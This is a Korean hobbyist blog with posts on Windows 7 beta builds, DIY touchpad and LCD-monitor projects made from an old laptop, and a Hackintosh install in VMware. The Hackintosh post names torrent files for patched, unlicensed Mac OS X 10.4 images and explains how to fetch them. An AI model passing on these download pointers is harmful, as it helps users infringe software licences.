대략 이쯤으로 윈도우 7 빌드 7000에 대해 살펴봤습니다. 아직도 충분히 비스타에 비해 빠르지만

빌드 6801에 비해 시각적 효과가 추가되서인지 6801보다는 반응성이 약간 더디다는 느낌이 있었지만

RC버전이 나올때 쯤이면 좋은 속도를 보일것으로 예상합니다. 느리다고 표현했던것은 비교상

그렇다는것이고 VMware에서 XP를 구동할때와 속도면에서 많이 느리거나 하지 않았습니다.

그리고 파일,폴더구조는 비스타와 거의 흡사합니다. 물론 6801과도 차이가 거의 없습니다.

그나저나 그림파일 크기도 줄이고 화질도 떨어뜨렸는데 사진이 5MB가 넘어가는군요.

그래도 이 정도면 빌드 7000에 대해 대략적으로 맛보셨을듯 싶습니다. 2010년에나 정식발매

될테니 그동안에 나올 베타버전은 생각나는대로 설치기를 포스팅 해보도록 하겠습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

구형 노트북인 센스 600을 모조리 뜯어서 1주일 전쯤 LCD모니터를 하나 만들었습니다. 분해할때

여러가지 잘못 건드려서인지 메인보드가 제대로 작동을 안하더군요.. 전원은 들어오는데 아무

반응이 없습니다. 어짜피 워낙 구형이라 메인보드를 팔수도 없고.. 그나마 재활용 가능한 부품은

터치패드, 전원부PCB, 배터리 충전부 PCB였는데 전자쪽을 전공한적이 없어서 제일 쉽게 해볼것을

찾다가 터치패드를 개조하기로 했습니다. 결과부터 말하자면 정말 쉬웠습니다. 기초지식도

필요없거든요. 물론 모두 통용되는 방법은 아닙니다. 센스 500이나 기타 여러 노트북들은 다른방식을

취합니다. 이 글은 센스 600을 버리긴 아깝고 부품을 재활용 해보자 하시는 분들에게

도움이 될수 있겠습니다.

사용자 삽입 이미지


분해 방법등은 생략하겠습니다. 터치패드쪽은 일단 본체가 분해되면 팜레스트 안쪽 가운데에

위치해 있어서 가장 분해가 쉬운 부분입니다. Synaptics社의 터치패드를 사용하는데

모델명은 TM1202SPU입니다.

사용자 삽입 이미지

오늘의 희생양이 될 마우스입니다. PS/2마우스로 개조할것이므로 선만 짜릅니다.

길이를 고려해서  니퍼나 가위로 잘라주면 됩니다.

사용자 삽입 이미지

어디서 줏은지도 까먹은 옛날 현주컴퓨터 아이프렌드 컴퓨터에 붙어있던 볼마우스네요..

인식률이 많이 안좋아서 쓸일은 없겠지만 혹시 급할때 쓸일 있을지 몰라서 전선을 바싹 당겨서

자르진 않았습니다.

사용자 삽입 이미지

터치패드를 분리하면 윗부분은 터치패드 아랫부분은 버튼부분 입니다. 보시는대로 이 케이블이

원래는 메인보드와 연결되는데 메인보드 쪽은 떼어버리거나 니퍼등으로 잘라줍니다.

메인보드를 써먹을 일이 있으신분들은 아무래도 케이블을 좀 길게 잘라서 보관해야겠죠.

위 사진처럼 맨위 빨간선,하얀선,노란선, 맨아래의 하얀선을 제외하고 모두 잘라버립니다.

자르지 않고 작업해도 상관없지만 거추장 스러우니까요.

사용자 삽입 이미지


위에서 잘랐던 PS/2 마우스선과 밑에서 잘랐던 터치패드의 선들을 이렇게 이어줍니다.

PS/2 마우스선은 차례대로 녹색→GND, 파란색→5v Power, 흰색→CLK, 주황색→데이터 입니다.

터치패드 선의 경우 바로 위 그림순서대로 흰색→GND, 노란색→데이터, 흰색→CLK 빨간색→Power

입니다. 물론 이런것을 알 필요는 없습니다. 저또한 전자쪽 전공이 아니라 무지에 가깝구요.

이렇게 니퍼등으로 끝쪽 전선을 따서 가연결 시킨뒤 부팅한뒤에 마우스를 인식하는지 확인해

봅니다. 최근 메인보드에도 PS/2 소켓이 있는지 모르겠네요.. PS/2 to USB젠더로 인식가능한지

확인못해봤는데 그렇게는 안될듯 싶습니다.

사용자 삽입 이미지

인두는 없는데 납은 있어서 라이터불로 지져서 살짝 떨궈서 납땜을 해줬습니다. 영 지저분하네요.

사용자 삽입 이미지

한가닥씩 절연을 위해 스카치 테이프로 감싸주고 케이블타이로 고정시켜줬습니다.

사용자 삽입 이미지

이제 케이스를 만들어야겠죠. 원래 본체의 터치패드 부위를 아예 절단해버리면 이렇게 안해도

깔끔한데 없으니 어쩔수 없죠. 부품통을 뒤지다 보니 예전 3.5' 디스켓 보관함이 눈에 띄길래

잡고 모양맞춰 칼로 잘랐습니다. 손으로 하니 삐뚤하지만 별로 티 안납니다. ㅋㅋ

사용자 삽입 이미지

케이스안에 넣고 안쪽에서 나사를 박아 고정시켜줬습니다.

사용자 삽입 이미지

모두 마친후의 작업환경.. 여전히 너무 너저분 하네요 ㅡㅡ; 개방형은 모니터도 그렇고 지저분해

보여서 아크릴 케이스 만드려고 알아보니 아크릴이 겁나게 비싸서 못사겠습니다..;; 어쨋든

터치패드를 쓰니 마우스쓸때는 왼손으로 움직이면 뭔가 어색해서 잘 못썼는데 전혀 그렇지가

않네요. Synaptics 터치패드 유틸리티를 설치하고 고급설정을 해주면 가상 스크롤이나 키설정으로

터치패드 자체만으로 마우스키를 사용할수있는데 구하기 쉽습니다. 저 거슬리는 키보드도

노트북 키보드를 개조해서 바꾸고 싶은데 방법도 너무 어렵고 키 맵핑때문에 키보드가 두개가

필요해서 차라리 미니키보드 하나 새로 사는게 낫겠더군요. 하지만 다운로더에 돈들이고 싶진

않기때문에 패스.. 그리고 CDROM도 젠더사서 써먹을수 있으니 젠더를 하나 사야겠습니다.

아무튼 터치패드 만들기 참 쉽죠?^^

사용자 삽입 이미지

칼질하다 잠시 쉬는사이 놀아달라고 보채는 우리 멍멍이 ㅋㅋ
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
06년경부터 외국사이트등에서 Mac osx를 해킹해서 x86 일반 PC에 설치하는 방법등이 알려지고

있습니다. 애플 社주관으로 PC에 Mac os를 설치하는 대회같은것도 있기도 했죠. 일단 Mac 자체가

일반PC와는 달리 바이오스를 사용하지 않고 EFI라는 것을 사용하기 때문에 그냥 DVD만 넣는다고

해서 설치가 되진 않고 가장 문제는 하드웨어적 문제인데 지금은 꽤 많은 부분이 해킨토시 이용자

들을 통해 패치가 이뤄져서 설치가 잘 되는 편입니다. 아무래도 Mac os의 편리함이나 디자인등에

매료되서 PC사용자들이 최근에 많이 시도해보는것 같은데 저 또한 인터페이스나 디자인이 마음에

들어 꽤전에 시도해보다가 특정 하드웨어 몇개가 죽어도 잡히질 않아 때려쳤던 기억이 나네요.

몇일전에 윈도우XP용 테마를 찾다가 osx 레오파드를 보고 다시한번 시도해 보기로 마음을

먹었습니다. 대개 많은 해킨토시 이용자분들이 XP나 비스타와 osx를 멀티부팅 하는 방법이나

Vmware로 설치해서 사용하는것으로 아는데 여기서는 가장 부담없는 Vmware를 통해 설치하는

방법을 알아보겠습니다. (사실은..귀찮아서...;)

1. VMware 셋팅

사용자 삽입 이미지

VMware를 설치하기전 자신의 하드웨어가 다운로드한 Mac os에서 지원하는지 확인해야합니다.

과거 해킨토시는 AMD CPU에서 설치하기 매우 힘든경우가 많았지만 최근에는 AMD CPU도

잘 되는것으로 알고있습니다. 인텔 CPU의 경우 SSE3을 지원해야 설치가능합니다. 위와같이

CPU-Z같은 프로그램으로 자신의 CPU를 확인합니다. 왠만한 사양의 CPU를 쓰고있는 분들은

SSE3을 지원합니다.

사용자 삽입 이미지

설치가 이뤄질 VMware의 가상PC를 설정합니다. File→new→Virtual Machine을 선택해서

다음과 같이 Custom을 선택해줍니다.

사용자 삽입 이미지

여기서는 Vmware 6.5를 사용했습니다. 6.0을 사용해도 무방합니다. Hardware Compatibility에서

5와 호환되게 하면 많은 제약이 따르므로 기본값으로 놔두고 Next를 눌러줍니다.

사용자 삽입 이미지

Vmware 6.0에서와 달리 6.5에서는 OS를 인스톨할 CD나 DVD,ISO이미지 여부를 묻습니다.

추후에 수정가능하므로 맨 아래를 선택하고 Next를 눌러줍니다.

사용자 삽입 이미지

어떤 OS가 설치될것인지 묻게되는데 위와같이 설정해주고 Next를 눌러줍니다.

사용자 삽입 이미지

버추얼머신의 이름을 써주는 칸에 맘에드는 이름을 아무렇게나 입력해주고 머신이 저장되는

파일이 저장될 디렉토리를 지정해줍니다.

사용자 삽입 이미지

코어가 두개이상인 CPU의 경우 선택해주는 부분입니다. 쿼드코어 사용자도 Two로 선택하면됩니다.

저의 경우는 P4 프레스캇 싱글코어라 One을 선택했습니다.

사용자 삽입 이미지

메모리 설정 부분입니다. 글을 쓰기전 미리 설치해본결과 2Gb나 1Gb나 가벼운 작업시 별로 큰

차이는 없었습니다. 1Gb정도만 설정해주고 부족하다 싶으면 나중에 수정해주면 됩니다.

사용자 삽입 이미지

네트워크 설정 부분입니다. 공유기를 쓰신다면 Bridge 네트워크를 이용해야 될수 있습니다만

NAT가 가능하다면 NAT로 설정하는것이 편합니다.

사용자 삽입 이미지
어댑터 타입을 물어보는데 LSI Logic을 사용합니다. Bus Logic을 사용해도 Vmware상에서

성능상 많은 차이를 보이진 않습니다.

사용자 삽입 이미지

이제 버추얼머신에서 HDD처럼 쓰일 파일을 만들게 됩니다. 맨 아래를 선택하면 실제 HDD를

사용하게 되는데 여유로운 HDD를 가지고 계신분이라면 더욱 나은 성능을 위해 실제 HDD를

사용하시는것도 괜찮은 방법입니다. 다만 이경우 실제 HDD의 전체를 사용하게 되므로

반드시 남는 HDD를 사용하시기 바랍니다.

사용자 삽입 이미지

디스크 타입을 묻는데 SCSI로 설정시 인식하지 못할때가 있습니다. 여기서는 IDE로 설정하지만

SCSI로 설정시 이상 없으신 분들은 SCSI로 설정하시기 바랍니다.

사용자 삽입 이미지

디스크의 전체 용량을 지정해 줍니다. osx 10.4.9를 설치하면 대략 6.8Gb정도의 용량이 소요됩니다.

실제로 osx를 활용하실분은 20~30Gb정도 설정해 주셔야 여러 프로그램도 설치하고 편하게 사용

하실수 있을듯 합니다. 지금 호스트PC에서 디스크 파티션 타입을 FAT32를 사용하시는분은 거의

없을것이라 생각하지만 만약 FAT32를 사용하는 디스크에서 지정한다면 맨 아래를 선택하셔서

디스크를 2Gb씩 나눠 사용하도록 하시기 바랍니다. 물론 실제 이용시에 디스크 용량은 똑같습니다.

사용자 삽입 이미지

디스크 파일이 저장될 위치를 지정해줍니다. 아까 위에서 Vmware Location을 지정해준 곳과

동일하게 해놓는것이 편합니다.

사용자 삽입 이미지

Customize Hardware를 눌러 약간 수정을 하겠습니다.

사용자 삽입 이미지

혹은 Finish를 눌렀다면 초기화면에서 좌측의 Edit virtual machine settings를 통해 수정을 합니다.

여기서는 플로피 디스크 드라이브를 삭제하겠습니다. 메뉴가 직관적이라 add / remove 버튼을

통해 손쉽게 삭제 가능합니다. Mac에서는 플로피 드라이브를 사용하지 않기때문에 삭제를 해줍니다.

사용자 삽입 이미지

이제 Vmware에서 osx를 설치할 준비가 모두 끝났습니다.

2. Mac OSX 설치

인텔과 AMD CPU모두 왠만한 배포판에서 패치를 지원하는데 개인이 만든 배포판이 많아서 어떤

것은 설치가 안되기도 합니다. 아래의 토런트 파일을 다운로드 하면 세개의 토런트 파일이 있는데

각각 10.4.7, 10.4.8, 10.4.9 버전이 있습니다. 저의 경우는 10.4.9버전을 사용했습니다.

Mac_OS_X_10_4_9_Intel_SSE3_[JaS_10_4_8_AMD_Intel_SSE2_SS.torrent
JaS_Mac_OS_X_10_4_8_AMD_Intel_SSE2_SSE3_PPF_1_Defiant_di.torrent
Mac_OS_X_10_4_7_AMD_Intel_(JaS)_ISO_Repack-(4283690[1][1].2454.torrent


위는 파일 풀네임으로 어떤 패치가 이뤄져있는지 표시되있습니다.


토런트를 잘 모르시는 분들은 간단히 http://utorrent.com 에서 프로그램을 다운로드 받아

다운로드 받은 위의 파일을 클릭하시면 됩니다. 위의 세파일들은 그럭저럭 괜찮은 속도를 보입니다

당나귀나 이뮬처럼 사용자들이 모여있지 않으면 속도가 느리므로 빛의 속도는 기대하지 마시길..

모두 다운로드 하셨다면 Daemon툴등의 가상DVD 에뮬레이터 등을 사용해서 ISO이미지를 넣고

사용하셔도 되고 혹은 Vmware에서 ISO이미지를 직접 사용해서 설치 하시면 됩니다.

(Edit virtual machine settings에서 가능) 이제 Vmware의 상단의 플레이 버튼을 눌러

머신을 가동합니다.

사용자 삽입 이미지

가동시 F2를 눌러 Boot 메뉴에서 CD-ROM으로 부팅가능하게 우선순위를 변경해줍니다.

그뒤 F10을 눌러 저장하고 빠져나옵니다.

사용자 삽입 이미지

다음과 같이 설치 화면이 뜨면 10초가 다 지나기전 esc를 눌러줘야하는데 누르지 않으면

에러가 뜹니다,

사용자 삽입 이미지

이와 같은 에러가 생깁니다. 물론 별 문제 없으니 ctrl+del+insert를 눌러 재부팅 하거나 멈춤버튼을

눌러 껐다 켠뒤 다시 esc를 눌러줍니다.

사용자 삽입 이미지

성공하면 위와 같이 여러가지 읽어들이는 글귀들이 좌라락 뜹니다.

사용자 삽입 이미지

위와같이 설치 초기화면이 떠야됩니다. 당연한 말이지만 만약 뜨지 않고 멈춘다면 커널패닉일수

있는데 이경우 CPU가 설치 ISO에서 지원하지 못해서 일겁니다. 주언어로 한글 사용을 선택합니다.

사용자 삽입 이미지

설치를 준비화는 화면이 뜹니다.

사용자 삽입 이미지

인스톨러 메인화면입니다 컨티뉴 해줍니다.

사용자 삽입 이미지

설치할 디스크를 묻는데 아무것도 안뜹니다 당황할것 없습니다. Vmware의 디스크가 파티션

설정이 되있지 않아서 그럽니다.

사용자 삽입 이미지

위와 같이 상단메뉴에서 선택해줍니다.

사용자 삽입 이미지

위와 같이 처음에 만들었던 VM디스크를 선택해줍니다. 그뒤 오른쪽에서 Partition을 선택해주면

다음과 같은 화면이 뜹니다.

사용자 삽입 이미지

Volume Scheme에서 몇개로 파티션을 나눠줄지 선택하는 메뉴가 뜹니다. 최대 16개의 파티션으로

분할할수 있습니다. 여기서는 단일 파티션으로 1개를 선택했고 Name은 볼륨명이니 마음에 드는대로

써줍니다. 그아래 파티션 유형을 묻는데 맨 처음것을 선택합니다. 그뒤 좌측 하단 부위 Partition을

눌러주면 파티션 설정하면 디스크가 날라간다라고 하는데 알겠어 해줍니다. 모두 끝났으면

창의 빨간 버튼을 눌러 닫습니다.

사용자 삽입 이미지

파티션 생성을 마치고 나면 다음과 같이 볼륨을 선택할수 있게되는데 HDD그림을 누르고

컨티뉴 합니다.

사용자 삽입 이미지

이제 설치할 몇몇 가지를 체크해줍니다 X11은 나중에 설치 가능하지만 그냥 체크해주고 아래에

Jas... Intel이나 AMD둘중 자신의 CPU에 맞게 체크해줍니다. 그리고 대다수의 하드웨어를 지원

가능하도록 Support..을 체크해주고 Nvidia,ATI그래픽 카드를 지원하는 Titan을 체크해줍니다.

인스톨 버튼을 누르면 설치원본을 검증하게 되는데 시간도 오래걸리고 잘못된 이미지라면

어짜피 다시 받는수밖에 없으니 Skip해줍니다.

사용자 삽입 이미지

인스톨을 시작하게 됩니다. 베이스 시스템을 설치하는데에 예상시간 44분이지만 모두 설치하고나면

저의 경우 두시간 넘게 소요됐습니다. 가능하면 성능 좋은 시스템에서 사용바랍니다.;;

설치하는도중 멀티부팅용으로 사용하는 거의 수명이 다되서 골골대던 HDD가 또 말썽을 일으켰

습니다. 최근엔 상태가 더 심각해져서 사용중에 전원을 껏다켠것처럼 힘을 못받다 뻗어버리네요.

결국 이 다음화면부터는 스샷을 찍지 못했지만 인스톨이 끝나면 재부팅 되고 설치 완료입니다.

처음 부팅화면에서 몇가지 설정을 거친후 본 메인화면으로 넘어가는데 이 또한 어려운것이

전혀 없기때문에 넘어가도 괜찮을듯 합니다.

사용자 삽입 이미지

OSX의 부팅화면 역시 깔끔하네요.

사용자 삽입 이미지

꿩대신 닭으로.. 미리 설치해뒀던 레오파드 메인화면입니다.

(내용추가 : 이 VMware이미지는 외국에서 꽤 알려진 pcwiz판 레오파드 VMware이미지를
받은것으로 제가 직접 설치했다는 의미는 아닙니다. 물론 레오파드 플랫이미지로 제가따로
설치는 했었습니다만 지금은 쓰지 않고있네요. 따로 말씀하신분이 있어서 내용을 추가합니다.)


OSX를 Vmware를 통해 설치해서 활용까지 하고 싶으신 분들은 최소한 듀얼코어 CPU를 사용해야

할듯 합니다. 제 시스템에서 설치를 끝마치고 Vmware로 이것저것 해보려고 하면 너무 더뎌서

사용가치가 없었습니다. (P4 2.66Ghz) 그래도 해킨토시를 설치해보고 잠깐 사용해보니 편하긴

편하더군요. 하지만 십수년간 윈도우에 익숙해져서 파일 관리등에 있어서는 리눅스가 익숙하신

분들이 osx를 쓰시면 편할듯 합니다. 실제 시스템 상에서 설치하면 하드웨어가 제각각이라

설치가 실패하는 경우도 생길듯 합니다만 Vmware를 사용한다면 왠만해선 설치에 성공하리라

봅니다. 애플에서는 OSX의 해킹에 대해 하려면 해라식으로 놔두고 있는데 이에 대해서

사용자 의견이 분분합니다. 제 생각에는 뭔짓을 해서든 한번 어렵게 써보고 osx의 편리함을

느껴봐라 맥에서 안쓰니까 하드웨어 설치 잘 안되고 짜증나 죽겠지? 그러니까 맥 사서 써라 라고

하는듯 싶네요. 뭐 어찌됐건 많은 해킨토시 사용자들에 의해 패치가 이뤄지고 있으니

이렇게 한번씩 설치 해보시면 좋은 경험이 될듯 싶습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
꽤 전에 남는 부품을 써서 거실에서 사용할 가족용 컴퓨터를 셋팅하고 나서 파워가 나가버려

파워만 얻으려던 중에 꽤 오래전 삼보컴퓨터 미니 타워 본체를 통채로 얻게 됐습니다. 높은 성능을
 
원하는 분들에게는 쓰레기나 다름 없겠지만 저한테는 득템이었죠.ㅋ 파일 다운로더로 쓰기에

그럭저럭 괜찮은 사양이었습니다. (P3 700Mhz) 원래는 케이스까지 모두 그냥 쓰려고 했지만

너무 더럽고 닦아서 써봐야 별로 깨끗할것 같지도 않아서 결국 전부 해체했습니다.

사용자 삽입 이미지

메인보드가 미니ATX이기 때문에 어떻게 써볼까 하다가 집에 남는 합판이 눈에 띄어 쇼트방지를 위해

나사부분에 테이프를 살짝 붙힌뒤 고정시켰습니다. 전원부분이 상당히 지저분해질까봐 걱정했는데

오른쪽 아랫부분에 보이는 기판이 깔끔하게 해결해줬습니다. 램은 남는 PC100 SDRAM을 꽂아서

96Mb로 만들었습니다. 남는 SDRAM이 몇개 더있었는데 PC133램이 제대로 인식되지 않아서

그냥 96Mb로 만족하기로 했습니다.

사용자 삽입 이미지

HDD는 어떻게 할까 생각하다가 뒷판에 케이블 타이로 고정하고 진동으로 빠지지 않게 나사못으로

고정시켜놨습니다. 운영체제만 설치해놓으면 어짜피 다운로더로 쓸것이기 때문에 세컨더리 마스터로

다른 HDD를 연결해서 쓸수있게 했습니다.

사용자 삽입 이미지

파워서플라이는 이미 가족용 컴퓨터로 새로 들어갔기때문에 중고 미니파워를 샀습니다. 주변기기를

많이 연결할일은 없기때문에 300W정도면 충분합니다. 메인으로 쓰는 컴퓨터 파워는 400W인데

HDD 여섯개에 두개의 ODD를 사용하니 힘이 모자란듯 하네요,

사용자 삽입 이미지

이것저것 연결하고 난뒤의 모습입니다. 상당히 지저분 합니다..;; 자작이라 하면 좀 깔끔하게 구상좀

해서 아크릴판이라도 잘라서 제작해야 하겠지만 DIY를 할만한 장비를 사들이기엔 부담스럽기 때문에

이정도로 끝냈습니다. 화면의 경우 다운로더는 RGB케이블을 사용한 아날로그 출력, 본래 시스템은

DVI케이블을 통한 디지털 출력을 사용해서 화면클론으로 번갈아서 볼수있게 해뒀습니다. 여기까지

해두고 보니 뭔가 더 손을 대봐야겠더군요.. 그래서 이다음에 해체한것은 구형 삼성 센스600 노트북

입니다. 원래는 노트북을 사용해서 미니 다운로더를 만들 계획이었는데 노트북이 너무 구형이라

버거워서 계획을 바꿨습니다. 자작에 관심 많으신 분들은 아마 최근에 자작LCD모니터를 보신분들이

많을것이라 생각하는데 저도 패널만 따로 분리해서 만들고 나머지는 일단 보관하려고 생각했습니다.

사용자 삽입 이미지

센스 600이나 예전의 대우 CN530모델의 경우 이처럼 일반 데스크탑 CPU를 꽂을수 있는 소켓이 달려

있어서 보유하시는 분들중에 개조업체를 통해 AMD K7등의 CPU로 업그레이드 하는 분들도 있더군요

바이오스 또한 개조업체에서 변형시켜 CPU를 제대로 인식할수 있게 해줍니다.

사용자 삽입 이미지
MMX 166Mhz CPU입니다. 제 기억에 제가 중학교 2학년쯤해서 MMX CPU가 나오기 시작했던것

같습니다. 지금이야 MMX기술이 기본적으로 모든 CPU에 포함되어있지만 펜티엄 이후

MMX CPU는 획기적인 변화였습니다.

사용자 삽입 이미지

처음 계획했던 안전한 분해는 여기서부터 어긋났습니다. 어짜피 망가져도 그만이다 싶은 생각으로

분해를 해서인지 결국 키보드 필름케이블 접속단자 부분을 망가뜨렸습니다.;; 순간접착제나 글루건

이라도 있으면 케이블을 잘 고정시키고 붙히면 멀쩡하겠지만 그런 도구는 전혀 없었기 때문에

그냥 내버려 뒀습니다.
사용자 삽입 이미지

주목적이었던 LCD 패널을 분리했습니다. 이대로는 아무것도 할수 없습니다. 이렇게 패널을 사용해서

일반 LCD모니터처럼 사용하려면 AD보드,인버터등이 필요합니다.

사용자 삽입 이미지

최근 LCD DIY가 보편화 되면서 꽤 많은 업체에서 AD보드를 판매하고있는데 패널등의 부품들을

구입하기 전에 이렇게 패널 뒷쪽의 모델명을 반드시 확인해서 AD보드가 해당패널을 지원하는지

확인해야합니다. 물론 업체에서 셋트로 판매하는 경우가 많은데 AD보드가 비싼경우가 대부분이기

때문에 따로 구입하시는것이 좋습니다. 다만 저처럼 남는 패널을 이용하는것이 아니라 15인치 이상급

의 제대로 쓸 모니터를 자작하려한다면 좀 비싼 AD보드와 인버터를 구입하시는것이 좋습니다.

제가 사용한 패널의 경우 대부분의 AD보드가 지원을 합니다. (LT121SS-121) 저는 상당히 저렴한

AD보드를 구입했습니다.(2만원 중반대..)

사용자 삽입 이미지

RGB케이블입니다. 2천원주고 구입.. 좀 아깝지만 활용빈도가 높아서 괜찮습니다.

사용자 삽입 이미지

쓰이게 될 패널입니다. 원래 노트북에 쓰이는 인버터등은 전혀 쓸모가 없기때문에 모두 떼버리고

이렇게 패널만 남겨둡니다.

사용자 삽입 이미지

전용 AC어댑터 입니다. 기존에 쓰던 Eee PC의 어댑터를 써도 무방하지만 그냥 하나 구입했습니다.

사용자 삽입 이미지

OSD입니다 가운데가 전원버튼 맨 왼쪽이 메뉴 등등 있네요.

사용자 삽입 이미지

인버터 입니다. 인버터는 액정의 백라이트를 켜기위해 전압을 승압시켜 주는기능을 주로 하는데

그래서 고전압이 흐릅니다. 작다고 우습게 보고 만졌다가는 바로 감전 당합니다. 보호캡이 씌워져서

왔는데 좀 엉성하게 붙혀져서 왔네요.

사용자 삽입 이미지

기존의 인버터가 연결되있는 모습입니다. 물론 제거해야됩니다. 돌출 부분이 있는곳이 앞부분이고

반대로 연결은 잘 되지 않지만 연결할경우 백화현상이 일어날수 있습니다.

사용자 삽입 이미지

LVDS케이블 입니다. 통신방식에 따라 TTL형식도 있습니다. 케이블 모양은 틀리기 때문에 자신의

패널이 LVDS를 쓰는지 TTL을 쓰는지 확인한뒤 구입해야 합니다.

사용자 삽입 이미지

원래 연결되어있던 패널부분 케이블입니다. 양 옆부분을 송곳등으로 살살 바깥쪽으로

밀어주면 금방 빠집니다.

사용자 삽입 이미지

패널과 LVDS케이블을 연결뒤 인버터를 연결합니다. 그뒤 RGB케이블 연결후에 전원 어댑터를

꽂습니다. 전원부터 이어놓고 작업을 하면 쇼트가 일어나 패널 및 모든 부품을 망가트릴수 있으니

마지막에 전원을 연결하는것이 좋습니다. 전체적으로 대충 모양새를 갖추기 전에 시험 구동해본

모습입니다. 이 패널은 800*600의 해상도를 지원하고 압축해상도로 1024*768을 지원합니다.

물론 압축해상도를 사용하면 글자보기가 조금 힙듭니다. 이는 컴퓨터가 인텔그래픽칩셋을 사용

한다면 Eee PC 포럼에서 한 사용자가 만든 As Tray를 사용해서 해결할수 있습니다.

사용자 삽입 이미지

이것또한 아크릴판 몇장만 사용해도 깔끔하게 만들수 있을것을 있는것만 가지고 억지로 만드려고

하고있습니다.. 작업중인 책상의 모습..

사용자 삽입 이미지

그냥 가연결만 하고 쓰다보면 정전기 등으로 쇼트가 일어나 망가질수 있기때문에 원래 패널의

케이스를 사용하기로 했습니다. LVDS 케이블이 빠져나올곳에 커터칼을 불로 달궈서 파냈습니다

송곳을 사용했다면 헐렁하지도 않고 괜찮을 뻔했는데 생각을 미쳐 못해서.. 이미 망했습니다.

사용자 삽입 이미지

완전히 파낸 모습입니다. 너무 지저분 하네요 -0- 개는 옆에서 주인이 고생을 하던말던 잠 퍼잡니다.

사용자 삽입 이미지

왼쪽에 인버터 전선이 빠질 구멍을 뚫어 지지대속으로 집어넣어 고정을 시켰습니다.

사용자 삽입 이미지

AD보드와 인버터를 뒷판에 고정시키기 위해 송곳을 불로 달궈 뚫었습니다. 글루건만 있었어도

이고생 안했을듯 ㅡㅡ; 참고로 글루건이 없으신 분들은 문구점에서 목공용풀을 사용하면 됩니다.

마르는데 조금 오래걸리긴 하지만 마르고 나면 실리콘이 마른것처럼 제대로 고정됩니다.

사용자 삽입 이미지

이렇게 뒷판 구멍을 통해 케이블타이를 통해 모두 연결 했습니다. 여기서 한가지 문제가 생겼는데

왼쪽에 보이는 검은색 케이블이 통신을하는 LVDS케이블 입니다. 패널에 연결되는 부위는 작은

단자가 있는데 이곳에 연결된 전선 하나가 압력을 받아서 빠져버렸습니다. 전선을 약간 따서

얇게 만들어서 겨우겨우 꽂아놓았지만 불안불안 합니다. 다시 빠지게 되면 납땜이라도

생각을 해봐야겠죠.

사용자 삽입 이미지

가조립후 테스트 중입니다. 왼쪽 지지대 부분을 조금 약하게 고정시켜 빠지지 않을정도만

조여놨습니다.

사용자 삽입 이미지

거의 다 해놓고 보니 OSD배치를 까먹었었습니다. 이 또한 송곳,케이블 타이를 사용해서 윗쪽에

고정시켰습니다.

사용자 삽입 이미지

뒷판 모습입니다. 조립과정은 거의 다 끝났습니다. 나름 깔끔하게 고정됐다고 생각하는데 PCB가

완전 노출되있다 보니 쇼트가 일어날 위험이 있어서 겉에도 케이스를 씌워야겠다 생각이 들었습니다.

사용자 삽입 이미지

며칠전 삼겹살 먹으려고 샀던 상추 케이스를 잘라서 덮개로 사용했습니다. 이것또한 고정은 케이블

타이로 했습니다.

사용자 삽입 이미지

벽에 못으로 박고 역시 케이블타이로;; 매달아 놨습니다. 상당히 지저분 하네요. 만들어진 LCD는

다운로더 컴퓨터에 연결 되어있습니다.

사용자 삽입 이미지

정면에서 본 모습입니다. 여건이 된다면 아크릴판을 잘라서 본체와 모니터를 잘 정리해봐야겠습니다.

이렇게 남는 패널로 저렴하게 모니터를 만들고 나니 기분이 좋네요. 패널의 경우 새물건은 상당히

비싼 편이니 혹시 만드실분들은 주변에 버리는 노트북이나 재활용센터등에서 찾아보시면 괜찮은

패널을 가진 노트북이 많을것이라 생각됩니다. 대신 큰 화면의 LCD를 자작하실 분들이라면

잘 생각하셔야 합니다. 패널가격도 그렇고 AD보드등도 비싸집니다. 미니 PC등을 자작하고

싶으신 분들이라면 이렇게 시도해볼만 하다고 생각합니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

말많고 탈많은 운영체제인 윈도우 비스타 뒤를 이어 윈도우 7이 테스트 버전으로 모습을 드러내고

있습니다. build 6801 이전 버전도 돌고있는것으로 알고있는데 어쨋든 6801버전을 받아서 가상머신에

설치를 해봤습니다. 성미 급하신 분들을 위해 윈도우7의 성능이 어떤가에 대해서는 일단 비스타보다

'체감속도가 빠르다' 입니다. 가상머신에 설치했음에도 불구하고 상당히 빠른속도를 보였습니다.

부팅속도도 괜찮은 수준이었습니다. 외관상으로는 비스타와 별다른 차이가 없었고 시간부족으로

여러가지 테스트해보진 못했습니다만 맛보기로 설치기를 써보겠습니다.

사용자 삽입 이미지

윈도우 설치를 위해 DVD-ROM에서 파일을 불러들이고 있습니다.

사용자 삽입 이미지

첫화면으로 종전과 마찬가지로 시스템이 윈도우 7을 설치하기에 적합한지 테스트 메뉴등이 있습니다.

사용자 삽입 이미지

익숙한 화면인 국가,키보드 선택창이 뜹니다.

사용자 삽입 이미지

EULA가 뜨는군요. 사용자 약관 다읽어보진 않으실테고..

사용자 삽입 이미지

업그레이드, 커스텀 설치여부를 묻습니다. 여기선 첫설치기 때문에 커스텀 메뉴를 선택했습니다.

사용자 삽입 이미지

가상머신 환경을 램 1Gb,HDD 16Gb를 부여하고 설치했습니다. 7Gb이하로 디스크 할당시
설치불가능 메시지를 보입니다.

사용자 삽입 이미지

다음과 같이 용량부족 경고창이 뜹니다.

사용자 삽입 이미지

설치시 200Mb정도의 용량을 시스템 중요파일, 레지스트리의 백업용도로 할당하게 되는데 앞으로

지원하겠지만 아크로니스 트루이미지나 노턴고스트등의 별도 백업솔루션이 있다면 크게

필요치 않을듯 싶습니다.
사용자 삽입 이미지

설치중인 화면입니다. 파일복사 및 설치에 총 걸린시간은 45분정도 됩니다. 저의 시스템 환경은

대략 P4 2.66Ghz, RAM 4Gb입니다.

사용자 삽입 이미지

설치도중 이와같이 윈도우 시작을 알리는 메시지가 뜹니다. 아직 설치가 끝나진 않았습니다.

사용자 삽입 이미지

프로그레스바의 색상과 두께등이 약간 바꼈습니다.

사용자 삽입 이미지

레지스트리의 셋팅을 업데이트 중입니다.

사용자 삽입 이미지

윈도우에서 쓰이는 각종 서비스들을 시작하고 있는 화면입니다. 차후에 이화면이 뜨진 않습니다.

사용자 삽입 이미지

윈도우 설치시 마다 항상 봐왔던 첫 사용을 위한 준비중 메시지가 뜹니다.

사용자 삽입 이미지

이것도 항상 봐왔던 사용자 이름과 PC이름을 정해주는 화면이네요.

사용자 삽입 이미지

패스워드 입력형식또한 마찬가지입니다.

사용자 삽입 이미지

